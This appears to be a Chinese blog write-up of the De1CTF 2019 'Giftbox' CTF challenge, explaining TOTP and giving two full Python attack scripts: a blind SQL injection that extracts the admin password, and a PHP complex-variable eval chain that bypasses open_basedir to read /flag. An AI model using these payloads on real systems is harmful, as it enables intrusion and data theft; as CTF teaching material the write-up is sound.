[De1CTF 2019]Giftbox

[De1CTF 2019]Giftbox

知识

从一道题讲PHP复杂变量

解题步骤

先ls可以看到usage.md
然后根据用法,发现login存在布尔盲注.
除此之外,还有一个totp,导致burp抓包重放不太好使

TOTP算法是一种从共享密钥和当前时间计算一次性密码的算法
TOTP是基于散列的消息认证码(HMAC)的示例。 它使用加密哈希函数将密钥与当前时间戳组合在一起以生成一次性密码。 由于网络延迟和不同步时钟可能导致密码接收者必须尝试一系列可能的时间来进行身份验证,因此时间戳通常以30秒的间隔增加,从而减少了潜在的搜索空间。

在/js/main.js里面有密钥


然后还有其他一些信息

贴一个盲注脚本

import requests
import urllib
import string
import pyotp

url = 'http://fcc0e65b-de37-4654-bc51-0f99d0c19f93.node4.buuoj.cn:81/shell.php?a={}&totp={}'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()

result = ''
i = 1
while(1):
    left = 32
    right = 128
    while(1):
        mid = (left + right) // 2
        if left == right:
            result += chr(left)
            print(result)
            i += 1
            break
        payload = "'/**/or/**/if(ascii(substr((select/**/password/**/from/**/users/**/limit/**/1),{},1))>{},1,0)#".format(i, mid)
        password = "b"
        payload = 'login {} {}'.format(payload, password)
        payload = urllib.parse.quote(payload)
        payload = url.format(payload, totp.now())
        res = requests.get(url=payload).text
        if 'incorrect' in res:
            left = mid + 1
        else:
            right = mid
    if(chr(left) == "}"):
        break
print('[*]Result ' + result)

得到admin密码,同时还是一个提示,告诉我们执行代码有eval
hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
然后登录admin
使用targeting设置变量。launch执行。
先使用
targeting a phpinfo
targeting b {$a()}
launch
查看phpinfo。虽然说报错,但是可以在f12里面的传输记录找到shell.php对该命令进行了回应。然后就能看到open_basedir限制。
由于长度限制,需要刚刚的方法进行限制绕过
直接贴一个脚本。

# -*- coding:utf-8 -*-
import requests
import re
import string
import pyotp

url = 'http://fcc0e65b-de37-4654-bc51-0f99d0c19f93.node4.buuoj.cn:81/shell.php?a={}&totp={}'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()

def login(username, password):  # 登录
    a = 'login {} {}'.format(username, password)
    payload = url.format(a, totp.now())
    s.get(payload)

def destruct():  # 清空lanuch命令
    a = 'destruct'
    payload = url.format(a, totp.now())
    s.get(payload)

def targeting(code, position):  # 输入执行指令
    a = 'targeting {} {}'.format(code, position)
    payload = url.format(a, totp.now())
    s.get(payload)

def launch():  # 发射执行指令, 相当于eval()
    a = 'launch'
    payload = url.format(a, totp.now())
    flag = re.search(r'[flag]{4}\{+(.*)', s.get(payload).text)
    return flag.group(0)

login('admin', 'hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}')
destruct()
targeting('a','chr')  # chr
targeting('b','{$a(46)}')  # .
targeting('c','{$b}{$b}')  # ..
targeting('d','{$a(47)}')  # /
targeting('e','js')  # js
# targeting('e','css')  # css
targeting('f','open_basedir')  # open_basedir
targeting('g','ini_set')  # ini_set
targeting('h','chdir')  # chdir
targeting('i','file_get_')  # file_get_
targeting('j','{$i}contents')  # file_get_contents
targeting('k','{$h($e)}')  # chdir('js');
targeting('l','{$g($f,$c)}')  # ini_set('open_basedir','..');
targeting('m','{$h($c)}')  # chdir('..');
targeting('m','{$h($c)}')  # chdir('..');
targeting('m','{$h($c)}')  # chdir('..');
targeting('m','{$h($c)}')  # chdir('..');
targeting('n','{$g($f,$d)}')  # ini_set('open_basedir','/');
targeting('o','{$d}flag')  # /flag
targeting('p','{$j($o)}')  # file_get_contents('/flag')
targeting('q','var_dump')  # var_dump
targeting('r','{$q($p)}')  # var_dump(file_get_contents('/flag'));
print(launch())

------脚本来自大佬http://www.iricky.ltd/2021/02/06/59.html

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇